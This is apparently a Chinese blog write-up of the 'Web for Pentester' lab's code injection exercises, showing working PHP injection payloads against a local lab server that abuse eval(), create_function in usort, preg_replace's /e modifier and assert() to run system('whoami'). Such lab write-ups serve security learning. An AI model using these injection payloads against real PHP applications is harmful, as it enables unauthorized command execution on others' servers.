Web for pentester_writeup之Code injection篇

Code injection(代码注入)

Example 1

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143257650-1309948164.png)

`name=hacker’` 添加一个单引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143311050-821937799.png)

`name=hacker”` 添加一个双引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143356350-2108491842.png)

返回报错信息,分析可知执行了eval()程序

继续测试
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143459406-1888671742.png)

这块有点复杂,我们先看一下源代码
```php

可知eval实际执行的函数是 `echo "Hello ".$_GET['name']."!!!";` ,这条语句中点号`.`是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本
>Payload 1 结尾使用赋值的方法闭合语句
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143538991-707665184.png)</center> <p>实际执行的语句为
<p>`echo "Hello ".hacker".system('whoami'); $dummy="."!!!";` 拼接一下变为
<p>`echo "Hello hacker".system('whoami'); $dummy="!!!";`
<p>从页面返回可以看出,系统先执行了whoami命令,然后执行输出 >Payload 2
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143547121-1368557021.png)</center>
>
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143555419-1257008802.png)</center>
<p>以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容 ###**Example 2**
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143708057-1571194764.png)</center>
<p>使用单引号 `?order=id'`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143728771-721286394.png)</center>
<p>发现使用的是usort()函数
<p>查看源代码
```php
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

尝试闭合构造如下:

?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。

?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。

?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。

Payload

http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143741019-782621294.png)
###**Example 3**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143746427-1102653696.png)
查看源代码
```php

```

preg_replace()函数:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。

$count: 可选,为替换执行的次数。

/e修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。

我们给pattern参数加上/e修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令

Payload

http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143759155-67554670.png)

注:php5.5版本以上就废弃了`preg_replace`函数中 `/e` 这个修饰符,转而修改成 `preg_replace _callback`
###**Example 4**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143810190-1192216016.png)

老套路,发现`assert()`函数
>Payload
`http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'`
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143843468-553703910.png)

对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细

参考文章:`https://www.freebuf.com/sectool/168653.html`

Web for pentester_writeup之Code injection篇的更多相关文章

  1. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  2. Web for pentester_writeup之XML attacks篇

    Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...

  3. Web for pentester_writeup之LDAP attacks篇

    Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...

  4. Web for pentester_writeup之File Upload篇

    Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...

  5. Web for pentester_writeup之File Include篇

    Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...

  6. Web for pentester_writeup之Directory traversal篇

    Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...

  7. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  8. Web for pentester_writeup之XSS篇

    Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...

  9. phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...

随机推荐

  1. CSS技巧 (2) · 多列等高布局

    前言  最近,面试的时候都碰到一些关于利用CSS实现多列等高布局或者一侧宽度固定,另一侧宽度自适应的问题,下面稍微总结一下: 先看一道题目 巧妙的多列等高布局 规定下面的布局,实现多列等高布局,要求两 ...

  2. iOS性能优化-异步绘制

    参考地址:https://blog.ibireme.com/2015/11/12/smooth_user_interfaces_for_ios/ 很久以前就看过这篇文章,但是也只是看过就过了,没有去整 ...

  3. Github | 吴恩达新书《Machine Learning Yearning》完整中文版开源

    最近开源了周志华老师的西瓜书<机器学习>纯手推笔记: 博士笔记 | 周志华<机器学习>手推笔记第一章思维导图 [博士笔记 | 周志华<机器学习>手推笔记第二章&qu ...

  4. B-概率论-条件概率

    目录 条件概率 一.条件概率简介 二.条件概率推广 更新.更全的<机器学习>的更新网站,更有python.go.数据结构与算法.爬虫.人工智能教学等着你:https://www.cnblo ...

  5. 【TencentOS tiny】深度源码分析(1)——task

    任务的基本概念 从系统的角度看,任务是竞争系统资源的最小运行单元.TencentOS tiny是一个支持多任务的操作系统,任务可以使用或等待CPU.使用内存空间等系统资源,并独立于其它任务运行,理论上 ...

  6. C#输入中文实现转拼音首字母(亲测,字库不全)

    public string GetPYString(string str) { string tempStr = ""; foreach (char c in str) { if ...

  7. RSA-演变过程、原理、特点(加解密及签名)及公钥私钥的生成

    本篇是iOS逆向开发总结的第一篇文章,是关于iOS密码学的相关技术分析和总结,希望对大家有所帮助,如果有错误地方欢迎指正. 一.前言 密码学的历史追溯到2000年前,相传古罗马凯撒大帝为了防止敌方截获 ...

  8. Neo4j:图数据库GraphDB(一)入门和基本查询语句

    图数据库的代表:Neo4j 官网:  http://neo4j.com/ 引言:为什么使用图数据库 在很多新型项目中,应用图数据库已经是势在必行的趋势了,因为图数据库可以很好的表示各种节点与关系的概念 ...

  9. PHP 数组转json格式,key的保存问题

    <?php $arr = [ 2, 3, ]; echo print_r($arr,true); echo json_encode($arr); echo "\n\n"; $ ...

  10. [51nod1670] 打怪兽

    lyk在玩一个叫做“打怪兽”的游戏.游戏的规则是这样的.lyk一开始会有一个初始的能量值.每次遇到一个怪兽,若lyk的能量值>=怪兽的能量值,那么怪兽将会被打败,lyk的能量值增加1,否则lyk ...